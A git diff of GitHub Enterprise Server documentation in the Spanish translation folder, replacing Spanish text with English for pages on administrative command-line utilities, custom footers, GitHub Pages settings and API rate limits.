a valid certificate to use with your instance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)." -Para obtener más información acerca de este comando o para conocer otras opciones, utiliza la marca `-h`. +For more information about this command or for additional options, use the `-h` flag. ```shell ghe-ssl-generate-csr @@ -471,7 +470,7 @@ ghe-ssl-generate-csr ### ghe-storage-extend -Algunas plataformas exigen este script para ampliar el volumen de usuarios. Para obtener más información, consulta "[Aumentar la capacidad de almacenamiento](/enterprise/admin/guides/installation/increasing-storage-capacity/)". +Some platforms require this script to expand the user volume. For more information, see "[Increasing Storage Capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)". ```shell $ ghe-storage-extend @@ -479,7 +478,7 @@ $ ghe-storage-extend ### ghe-version -Esta utilidad imprime la versión, la plataforma y la compilación de {% data variables.product.product_location %}. +This utility prints the version, platform, and build of {% data variables.product.product_location %}. ```shell $ ghe-version @@ -487,26 +486,26 @@ $ ghe-version ### ghe-webhook-logs -Esta utilidad genera registros de entregas de webhooks para que los administradores los revisen e identifiquen cualquier problema. +This utility returns webhook delivery logs for administrators to review and identify any issues. ```shell ghe-webhook-logs ``` -Para mostrar todas las entregas fallidas del gancho en el día anterior: +To show all failed hook deliveries in the past day: {% ifversion ghes %} ```shell ghe-webhook-logs -f -a YYYY-MM-DD ``` -El formato de fecha debe ser `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS`, o `YYYY-MM-DD HH:MM:SS (+/-) HH:M`. +The date format should be `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS`, or `YYYY-MM-DD HH:MM:SS (+/-) HH:M`. {% else %} ```shell ghe-webhook-logs -f -a YYYYMMDD ``` {% endif %} -Para mostrar todos los resultados, carga útil y excepciones del gancho para la entrega: +To show the full hook payload, result, and any exceptions for the delivery: {% ifversion ghes %} ```shell ghe-webhook-logs -g delivery-guid @@ -517,11 +516,11 @@ ghe-webhook-logs -g delivery-guid -v ``` {% endif %} -## Agrupación +## Clustering -### estado ghe-dpages +### ghe-cluster-status -Verifica la salud de tus nodos y servicios en un despliegue de clúster de {% data variables.product.prodname_ghe_server %}. +Check the health of your nodes and services in a cluster deployment of {% data variables.product.prodname_ghe_server %}. ```shell $ ghe-cluster-status @@ -529,26 +528,26 @@ $ ghe-cluster-status ### ghe-cluster-support-bundle -Esta utilidad crea un tarball de paquetes de soporte que contiene registros importantes de cada nodo, tanto en la configuración de Replicación geográfica como de Agrupación. +This utility creates a support bundle tarball containing important logs from each of the nodes in either a Geo-replication or Clustering configuration. -Por defecto, el comando crea el tarball en */tmp*, pero también puedes tener `cat` el tarball en `STDOUT` para una fácil transmisión por SSH. Esto es útil en caso de que la UI web no responda o que no funcione descargar un paquete de soporte desde */setup/support*. Debes usar este comando si quieres generar un paquete *ampliado* que contenga registros antiguos. También puedes usar este comando para cargar el paquete de soporte de agrupación directamente para {% data variables.product.prodname_enterprise %} recibir asistencia. +By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the cluster support bundle directly to {% data variables.product.prodname_enterprise %} support. -Para crear un paquete estándar: +To create a standard bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -o' > cluster-support-bundle.tgz ``` -Para crear un paquete extendido: +To create an extended bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -x -o' > cluster-support-bundle.tgz ``` -Para mandar un paquete a {% data variables.contact.github_support %}: +To send a bundle to {% data variables.contact.github_support %}: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -u' ``` -Para mandar un paquete a {% data variables.contact.github_support %} y asociarlo con un ticket: +To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -t ticket-id' ``` @@ -556,7 +555,7 @@ $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -t ticke {% ifversion ghes %} ### ghe-cluster-failover -Recuperación de fallos de los nodos de clúster activos a los pasivos. Para obtener más información, consulta la sección "[Iniciar una respuesta ante los fallos para tu clúster de réplica](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)". +Fail over from active cluster nodes to passive cluster nodes. For more information, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)." ```shell ghe-cluster-failover @@ -565,43 +564,43 @@ ghe-cluster-failover ### ghe-dpages -Esta utilidad le permite gestionar el servidor {% data variables.product.prodname_pages %} distribuido. +This utility allows you to manage the distributed {% data variables.product.prodname_pages %} server. ```shell ghe-dpages ``` -Para mostrar un resumen de la ubicación y salud del repositorio: +To show a summary of repository location and health: ```shell -estado ghe-dpages +ghe-dpages status ``` -Para evacuar un servicio de almacenamiento {% data variables.product.prodname_pages %} antes de evacuar un nodo de agrupación: +To evacuate a {% data variables.product.prodname_pages %} storage service before evacuating a cluster node: ```shell ghe-dpages evacuate pages-server-UUID ``` ### ghe-spokes -Esta utilidad te permite administrar las tres copias de cada repositorio en los servidores de git distribuidos. +This utility allows you to manage the three copies of each repository on the distributed git servers. ```shell ghe-spokes ``` -Para mostrar un resumen de la ubicación y salud del repositorio: +To show a summary of repository location and health: ```shell -estado ghe-spokes +ghe-spokes status ``` -Para mostrar los servidores en donde el repositorio se encuentra almacenado: +To show the servers in which the repository is stored: ```shell -ruta ghe-spokes +ghe-spokes route ``` -Para evacuar los servicios de almacenamiento en un nodo de la agrupación: +To evacuate storage services on a cluster node: ```shell ghe-spokes server evacuate git-server-UUID @@ -609,7 +608,7 @@ ghe-spokes server evacuate git-server-UUID ### ghe-storage -Esta utilidad te permite evacuar todos los servicios de almacenamiento antes de evacuar un nodo de agrupación. +This utility allows you to evacuate all storage services before evacuating a cluster node. ```shell ghe-storage evacuate storage-server-UUID @@ -619,7 +618,7 @@ ghe-storage evacuate storage-server-UUID ### ghe-btop -Una interfaz del tipo `top` para las operaciones actuales de Git. +A `top`-like interface for current Git operations. ```shell ghe-btop [ | --help | --usage ] @@ -652,7 +651,7 @@ Try ghe-governor --help for more information on the arguments each ### ghe-repo -Esta utilidad te permite cambiar a un directorio del repositorio y abrir un shell interactivo como el de usuario de `git`. Puedes realizar inspecciones o mantenimientos manuales de un repositorio a través de comandos como `git-*` o `git-nw-*`. +This utility allows you to change to a repository's directory and open an interactive shell as the `git` user. You can perform manual inspection or maintenance of a repository via commands like `git-*` or `git-nw-*`. ```shell ghe-repo username/reponame @@ -660,64 +659,64 @@ ghe-repo username/reponame ### ghe-repo-gc -Esta utilidad reempaqueta en forma manual una red de repositorios para optimizar el almacenamiento de paquetes. Si tienes un repositorio grande, ejecutar este comando puede ayudar a reducir su tamaño general. {% data variables.product.prodname_enterprise %} ejecuta en forma automática este comando durante toda tu interacción con una red de repositorios. +This utility manually repackages a repository network to optimize pack storage. If you have a large repository, running this command may help reduce its overall size. {% data variables.product.prodname_enterprise %} automatically runs this command throughout your interaction with a repository network. -Puedes agregar el argumento opcional `--prune` para eliminar los objetos de Git inaccesibles que no están referenciados desde una rama, una etiqueta o cualquier otra referencia. Esto es útil, en especial, para eliminar de inmediato [información sensible previamente suprimida](/enterprise/user/articles/remove-sensitive-data/). +You can add the optional `--prune` argument to remove unreachable Git objects that aren't referenced from a branch, tag, or any other ref. This is particularly useful for immediately removing [previously expunged sensitive information](/enterprise/user/articles/remove-sensitive-data/). ```shell ghe-repo-gc username/reponame ``` -## Importar y exportar +## Import and export ### ghe-migrator -`ghe-migrator` es una herramienta de alta fidelidad que te ayuda a realizar migraciones desde una instancia de GitHub a otra. Puedes consolidar tus instancias o mover tu organización, usuarios, equipos y repositorios desde GitHub.com a {% data variables.product.prodname_enterprise %}. +`ghe-migrator` is a hi-fidelity tool to help you migrate from one GitHub instance to another. You can consolidate your instances or move your organization, users, teams, and repositories from GitHub.com to {% data variables.product.prodname_enterprise %}. -Para obtener más información, consulta nuestra guía en [migrar datos de usuarios, organizaciones y repositorios](/enterprise/admin/guides/migrations/). +For more information, please see our guide on [migrating user, organization, and repository data](/enterprise/admin/guides/migrations/). ### git-import-detect -Con una URL, detecta qué tipo de sistema de administración de control de fuente hay en el otro extremo. Durante una importación manual, probablemente ya lo sepas, pero puede ser muy útil en scripts automáticos. +Given a URL, detect which type of source control management system is at the other end. During a manual import this is likely already known, but this can be very useful in automated scripts. ```shell git-import-detect ``` ### git-import-hg-raw -Esta utilidad importa un repositorio de Mercurial a este repositorio de Git. Para obtener más información, consulta "[importar datos de sistemas de control de versiones de terceros](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." +This utility imports a Mercurial repository to this Git repository. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-hg-raw ``` ### git-import-svn-raw -Esta utilidad importa los datos del archivo y el historial de Subversion en una rama de Git. Es una copia exacta del árbol, que ignora cualquier distinción de tronco o rama. Para obtener más información, consulta "[importar datos de sistemas de control de versiones de terceros](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." +This utility imports Subversion history and file data into a Git branch. This is a straight copy of the tree, ignoring any trunk or branch distinction. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-svn-raw ``` ### git-import-tfs-raw -Esta utilidad importa desde el Control de Versiones de Team Foundation (TFVC). Para obtener más información, consulta "[importar datos de sistemas de control de versiones de terceros](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." +This utility imports from Team Foundation Version Control (TFVC). For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-tfs-raw ``` ### git-import-rewrite -Esta utilidad reescribe el repositorio importado. Esto te proporciona una oportunidad para renombrar a los autores y, para Subversion y TFVC, produce ramas de Git que se basan en carpetas. Para obtener más información, consulta "[importar datos de sistemas de control de versiones de terceros](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." +This utility rewrites the imported repository. This gives you a chance to rename authors and, for Subversion and TFVC, produces Git branches based on folders. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-rewrite ``` -## Asistencia +## Support ### ghe-diagnostics -Esta utilidad realiza varias comprobaciones y reúne información acerca de tu instalación que puedes enviar a la asistencia para que te ayude a diagnosticar los problemas que tienes. +This utility performs a variety of checks and gathers information about your installation that you can send to support to help diagnose problems you're having. -Actualmente, el resultado de esta utilidad es similar a descargar la información de diagnóstico en la {% data variables.enterprise.management_console %}, pero con el tiempo se pueden agregar otras mejoras que no están disponibles en la UI web. Para obtener más información, consulta "[Crear y compartir archivos de diagnóstico](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)." +Currently, this utility's output is similar to downloading the diagnostics info in the {% data variables.enterprise.management_console %}, but may have additional improvements added to it over time that aren't available in the web UI. For more information, see "[Creating and sharing diagnostic files](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)." ```shell ghe-diagnostics @@ -726,26 +725,26 @@ ghe-diagnostics ### ghe-support-bundle {% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} -Esta utilidad crea un tarball de paquetes de soporte que contiene registros importantes de tu instancia. +This utility creates a support bundle tarball containing important logs from your instance. -Por defecto, el comando crea el tarball en */tmp*, pero también puedes tener `cat` el tarball en `STDOUT` para una fácil transmisión por SSH. Esto es útil en caso de que la UI web no responda o que no funcione descargar un paquete de soporte desde */setup/support*. Debes usar este comando si quieres generar un paquete *ampliado* que contenga registros antiguos. También puedes usar este comando para cargar el paquete de soporte directamente para recibir asistencia {% data variables.product.prodname_enterprise %}. +By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the support bundle directly to {% data variables.product.prodname_enterprise %} support. -Para crear un paquete estándar: +To create a standard bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -o' > support-bundle.tgz ``` -Para crear un paquete extendido: +To create an extended bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -x -o' > support-bundle.tgz ``` -Para mandar un paquete a {% data variables.contact.github_support %}: +To send a bundle to {% data variables.contact.github_support %}: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -u' ``` -Para mandar un paquete a {% data variables.contact.github_support %} y asociarlo con un ticket: +To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -t ticket-id' @@ -753,32 +752,32 @@ $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -t ticket-idpath/to/your/file -t ticket-id ``` -Para subir datos a través de `STDIN` y asociarlos con un ticket: +To upload data via `STDIN` and associating the data with a ticket: ```shell ghe-repl-status -vv | ghe-support-upload -t ticket-id -d "Verbose Replication Status" ``` -En este ejemplo, `ghe-repl-status -vv` envía información de estado detallada desde un aparato réplica. Debes reemplazar `ghe-repl-status -vv` con los datos específicos que quieras transmitir a `STDIN` y `Verbose Replication Status` (Estado de replicación detallado) con una breve descripción de los datos. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} +In this example, `ghe-repl-status -vv` sends verbose status information from a replica appliance. You should replace `ghe-repl-status -vv` with the specific data you'd like to stream to `STDIN`, and `Verbose Replication Status` with a brief description of the data. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} -## Actualizar {% data variables.product.prodname_ghe_server %} +## Upgrading {% data variables.product.prodname_ghe_server %} ### ghe-upgrade -Esta utilidad instala o verifica un paquete actualizado. También puedes usar esta utilidad para revertir un lanzamiento de patch si falla o se interrumpe una actualización. Para obtener más información, consulta "[Actualizar {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)." +This utility installs or verifies an upgrade package. You can also use this utility to roll back a patch release if an upgrade fails or is interrupted. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)." -Para verificar un paquete de mejora: +To verify an upgrade package: ```shell ghe-upgrade --verify UPGRADE-PACKAGE-FILENAME ``` -Para instalar un paquete de mejora: +To install an upgrade package: ```shell ghe-upgrade UPGRADE-PACKAGE-FILENAME ``` @@ -787,43 +786,43 @@ ghe-upgrade UPGRADE-PACKAGE-FILENAME ### ghe-upgrade-scheduler -Esta utilidad administra la instalación programada de paquetes de actualización. Puedes mostrar, crear nuevas o eliminar las actualizaciones programadas. Debes crear cronogramas usando expresiones cron. Para obtener más información, consulta [Entrada de Cron en Wikipedia](https://en.wikipedia.org/wiki/Cron#Overview). +This utility manages scheduled installation of upgrade packages. You can show, create new, or remove scheduled installations. You must create schedules using cron expressions. For more information, see the [Cron Wikipedia entry](https://en.wikipedia.org/wiki/Cron#Overview). -Para programar una nueva instalación para un paquete: +To schedule a new installation for a package: ```shell $ ghe-upgrade-scheduler -c "0 2 15 12 *" UPGRADE-PACKAGE-FILENAME ``` -Para mostrar las instalaciones programadas para un paquete: +To show scheduled installations for a package: ```shell $ ghe-upgrade-scheduler -s UPGRADE PACKAGE FILENAME > 0 2 15 12 * /usr/local/bin/ghe-upgrade -y -s UPGRADE-PACKAGE-FILENAME > /data/user/common/UPGRADE-PACKAGE-FILENAME.log 2>&1 ``` -Para eliminar las instalaciones programadas para un paquete: +To remove scheduled installations for a package: ```shell $ ghe-upgrade-scheduler -r UPGRADE PACKAGE FILENAME ``` ### ghe-update-check -Esta utilidad buscará si hay disponible un nuevo lanzamiento de patch de {% data variables.product.prodname_enterprise %}. Si lo hay, y si hay espacio disponible en tu instancia, descargará el paquete. Por defecto, se guarda en */var/lib/ghe-updates*. Luego, un administrador puede [realizar la actualización](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/). +This utility will check to see if a new patch release of {% data variables.product.prodname_enterprise %} is available. If it is, and if space is available on your instance, it will download the package. By default, it's saved to */var/lib/ghe-updates*. An administrator can then [perform the upgrade](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/). -En */var/lib/ghe-updates/ghe-update-check.status* puedes acceder a un archivo que contiene el estado de la descarga. +A file containing the status of the download is available at */var/lib/ghe-updates/ghe-update-check.status*. -Para buscar el último lanzamiento {% data variables.product.prodname_enterprise %}, usa el modificador `-i`. +To check for the latest {% data variables.product.prodname_enterprise %} release, use the `-i` switch. ```shell $ ssh -p 122 admin@hostname -- 'ghe-update-check' ``` -## Gestión de usuarios +## User management ### ghe-license-usage -Esta utilidad exporta una lista de los usuarios de la instalación en formato JSON. Si tu instancia se conecta a {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} utiliza esta información para reportar la información de licencia a {% data variables.product.prodname_ghe_cloud %}. Para obtener más información, consulta la sección "[Conectar tu cuenta empresarial a {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)". +This utility exports a list of the installation's users in JSON format. If your instance is connected to {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} uses this information for reporting licensing information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." -Predeterminadamente, la lista de usuarios en el JSON resultante se encuentra cifrada. Usa la marca `-h` para obtener más opciones. +By default, the list of users in the resulting JSON file is encrypted. Use the `-h` flag for more options. ```shell ghe-license-usage @@ -831,7 +830,7 @@ ghe-license-usage ### ghe-org-membership-update -Esta utilidad aplicará la visibilidad de membresía de la organización predeterminada mostrando todos los miembros de tu instancia. Para obtener más información, consulta la sección "[Configurar la visibilidad para la membrecía de la organización](/enterprise/{{ currentVersion }}/admin/guides/user-management/configuring-visibility-for-organization-membership)". Las opciones de configuración son `public` o `private`. +This utility will enforce the default organization membership visibility setting on all members in your instance. For more information, see "[Configuring visibility for organization membership](/enterprise/{{ currentVersion }}/admin/guides/user-management/configuring-visibility-for-organization-membership)." Setting options are `public` or `private`. ```shell ghe-org-membership-update --visibility=SETTING @@ -839,7 +838,7 @@ ghe-org-membership-update --visibility=SETTING ### ghe-user-csv -Esta utilidad exporta una lista de todos los usuarios en la instalación a un formato CSV. El archivo CSV incluye las direcciones de correo electrónico, el tipo de usuario que son (p. ej., administrador, usuario), cuántos repositorios tienen, cuántas claves SSH tienen, la cantidad de membresías a la organización, la última dirección IP que inició sesión, etc. Usa la marca `-h` para obtener más opciones. +This utility exports a list of all the users in the installation into CSV format. The CSV file includes the email address, which type of user they are (e.g., admin, user), how many repositories they have, how many SSH keys, how many organization memberships, last logged IP address, etc. Use the `-h` flag for more options. ```shell ghe-user-csv -o > users.csv @@ -847,7 +846,7 @@ ghe-user-csv -o > users.csv ### ghe-user-demote -Esta utilidad degrada el usuario especificado desde el estado de administrador al de usuario normal. Recomendamos usar la UI web para realizar esta acción, pero proporcionamos esta utilidad en caso de que la utilidad `ghe-user-promote` se ejecute con error, y debas volver a bajar de categoría a un usuario desde la CLI (interfaz de línea de comandos). +This utility demotes the specified user from admin status to that of a regular user. We recommend using the web UI to perform this action, but provide this utility in case the `ghe-user-promote` utility is run in error and you need to demote a user again from the CLI. ```shell ghe-user-demote some-user-name @@ -855,7 +854,7 @@ ghe-user-demote some-user-name ### ghe-user-promote -Esta utilidad promueve la cuenta de usuario especificada a administrador del sitio. +This utility promotes the specified user account to a site administrator. ```shell ghe-user-promote some-user-name @@ -863,7 +862,7 @@ ghe-user-promote some-user-name ### ghe-user-suspend -Esta utilidad suspende el usuario especificado, evitando que inicie sesión, suba o extraiga datos de tu repositorio. +This utility suspends the specified user, preventing them from logging in, pushing, or pulling from your repositories. ```shell ghe-user-suspend some-user-name @@ -871,7 +870,7 @@ ghe-user-suspend some-user-name ### ghe-user-unsuspend -Esta utilidad anula la suspensión del usuario especificado, otorgándole acceso para iniciar sesión, subir o extraer datos de tu repositorio. +This utility unsuspends the specified user, granting them access to login, push, and pull from your repositories. ```shell ghe-user-unsuspend some-user-name diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md new file mode 100644 index 0000000000..c334869985 --- /dev/null +++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md @@ -0,0 +1,38 @@ +--- +title: Configuring custom footers +intro: 'You can give users easy access to enterprise-specific links by adding custom footers to {% data variables.product.product_name %}.' +versions: + ghec: '*' + ghes: '>=3.4' +type: how_to +topics: + - Enterprise + - Fundamentals +shortTitle: Configure custom footers +--- +Enterprise owners can configure {% data variables.product.product_name %} to show custom footers with up to five additional links. + +![Custom footer](/assets/images/enterprise/custom-footer/octodemo-footer.png) + +The custom footer is displayed above the {% data variables.product.prodname_dotcom %} footer {% ifversion ghes or ghae %}to all users, on all pages of {% data variables.product.product_name %}{% else %}to all enterprise members and collaborators, on all repository and organization pages for repositories and organizations that belong to the enterprise{% endif %}. + +## Configuring custom footers for your enterprise + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} + +1. Under "Settings", click **Profile**. +{%- ifversion ghec %} +![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghec.png) +{%- else %} +![Enterprise profile settings](/assets/images/enterprise/custom-footer/enterprise-profile-ghes.png) +{%- endif %} + +1. At the top of the Profile section, click **Custom footer**. +![Custom footer section](/assets/images/enterprise/custom-footer/custom-footer-section.png) + +1. Add up to five links in the fields shown. +![Add footer links](/assets/images/enterprise/custom-footer/add-footer-links.png) + +1. Click **Update custom footer** to save the content and display the custom footer. +![Update custom footer](/assets/images/enterprise/custom-footer/update-custom-footer.png) diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md index 1d2246b301..d5d41ee13a 100644 --- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md +++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Configurar GitHub Pages para tu empresa -intro: 'Puedes habilitar o inhabilitar {% data variables.product.prodname_pages %} para tu empresa y elegir si quieres hacer los sitios accesibles para el público en general.' +title: Configuring GitHub Pages for your enterprise +intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.' redirect_from: - /enterprise/admin/guides/installation/disabling-github-enterprise-pages/ - /enterprise/admin/guides/installation/configuring-github-enterprise-pages/ @@ -16,55 +16,54 @@ type: how_to topics: - Enterprise - Pages -shortTitle: Configurar GitHub Pages +shortTitle: Configure GitHub Pages --- -## Habilitar los sitios públicos para {% data variables.product.prodname_pages %} +{% ifversion ghes %} -{% ifversion ghes %}Si se habilita el modo privado en tu empresa, el{% else %}El {% endif %}público en general no podrá acceder a los sitios de {% data variables.product.prodname_pages %} que se hospeden en tu empresa a menos de que habilites los sitios públicos. +## Enabling public sites for {% data variables.product.prodname_pages %} + +If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites. {% warning %} -**Advertencia:** Si habilitas los sitios públicos para {% data variables.product.prodname_pages %}, cada sitio en cada repositorio de tu empresa será accesible para el público en general. +**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public. {% endwarning %} -{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.pages-tab %} -4. Selecciona **Public Pages** (Páginas públicas). ![Casilla de verificación para habilitar páginas públicas](/assets/images/enterprise/management-console/public-pages-checkbox.png) +4. Select **Public Pages**. + ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -{% elsif ghae %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.pages-tab %} -5. Debajo de "Políticas de las páginas", selecciona **{% data variables.product.prodname_pages %} públicas**. ![Casilla de verificación para habilitar las {% data variables.product.prodname_pages %} públicas](/assets/images/enterprise/business-accounts/public-github-pages-checkbox.png) -{% data reusables.enterprise-accounts.pages-policies-save %} -{% endif %} -## Inhabilitar {% data variables.product.prodname_pages %} para tu empresa +## Disabling {% data variables.product.prodname_pages %} for your enterprise -{% ifversion ghes %} -Si el aislamiento de subdominios está inhabilitado en tu empresa, también debes inhabilitar las {% data variables.product.prodname_pages %} para protegerte de vulnerabilidades de seguridad potenciales. Para obtener más información, consulta la sección "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)". -{% endif %} +If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)." -{% ifversion ghes %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.pages-tab %} -4. Anula la selección de **Enable Pages** (Habilitar páginas). ![Casilla de verificación para inhabilitar {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png) +4. Unselect **Enable Pages**. + ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png) {% data reusables.enterprise_management_console.save-settings %} -{% elsif ghae %} + +{% endif %} + +{% ifversion ghae %} + {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.pages-tab %} -5. Debajo de "Políticas de las páginas", deselecciona **Habilitar {% data variables.product.prodname_pages %}**. ![Casilla de verificación para inhabilitar {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png) +5. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**. + ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png) {% data reusables.enterprise-accounts.pages-policies-save %} + {% endif %} {% ifversion ghes %} -## Leer más +## Further reading -- "[Habilitar el modo privado](/admin/configuration/enabling-private-mode)" +- "[Enabling private mode](/admin/configuration/enabling-private-mode)" {% endif %} diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md index 7290826ff2..95326574a6 100644 --- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md +++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md @@ -1,6 +1,6 @@ --- -title: Configurar límites de tasa -intro: 'Puedes configurar límites de tasa para {% data variables.product.prodname_ghe_server %} usando la {% data variables.enterprise.management_console %}.' +title: Configuring rate limits +intro: 'You can set rate limits for {% data variables.product.prodname_ghe_server %} using the {% data variables.enterprise.management_console %}.' redirect_from: - /enterprise/admin/installation/configuring-rate-limits - /enterprise/admin/configuration/configuring-rate-limits @@ -13,47 +13,51 @@ topics: - Infrastructure - Performance --- +## Enabling rate limits for {% data variables.product.prodname_enterprise_api %} -## Habilitar límites de tasa para {% data variables.product.prodname_enterprise_api %} - -Habilitar límites de tasa en {% data variables.product.prodname_enterprise_api %} puede evitar el uso excesivo de recursos por parte de usuarios individuales o sin autenticación. Para obtener más información, consulta la sección "[Limites de tasa](/enterprise/{{ page.version }}/v3/#rate-limiting)." +Enabling rate limits on {% data variables.product.prodname_enterprise_api %} can prevent overuse of resources by individual or unauthenticated users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)." {% ifversion ghes %} -Puedes eximir a una lista de usuarios para que no tomen los límites de tasa de la API si utilizas la utilidad `ghe-config` en el shell administrativo. Para obtener más información, consulta la sección "[Utilidades de la línea de comandos](/enterprise/admin/configuration/command-line-utilities#ghe-config)". +You can exempt a list of users from API rate limits using the `ghe-config` utility in the administrative shell. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-config)." {% endif %} {% note %} -**Nota:** La {% data variables.enterprise.management_console %} detalla el período de tiempo (por minuto o por hora) de cada límite de tasa. +**Note:** The {% data variables.enterprise.management_console %} lists the time period (per minute or per hour) for each rate limit. {% endnote %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -2. Debajo de "Límite de tasa", selecciona **Habilitar los límites de tasa de la API HTTP**. ![Casilla para habilitar la limitación de tasa de API](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png) -3. Escribe los límites para las solicitudes autenticadas y no autenticadas para cada API o acepta los límites predeterminados que aparecen completados. +2. Under "Rate Limiting", select **Enable HTTP API Rate Limiting**. +![Checkbox for enabling API rate limiting](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png) +3. Type limits for authenticated and unauthenticated requests for each API, or 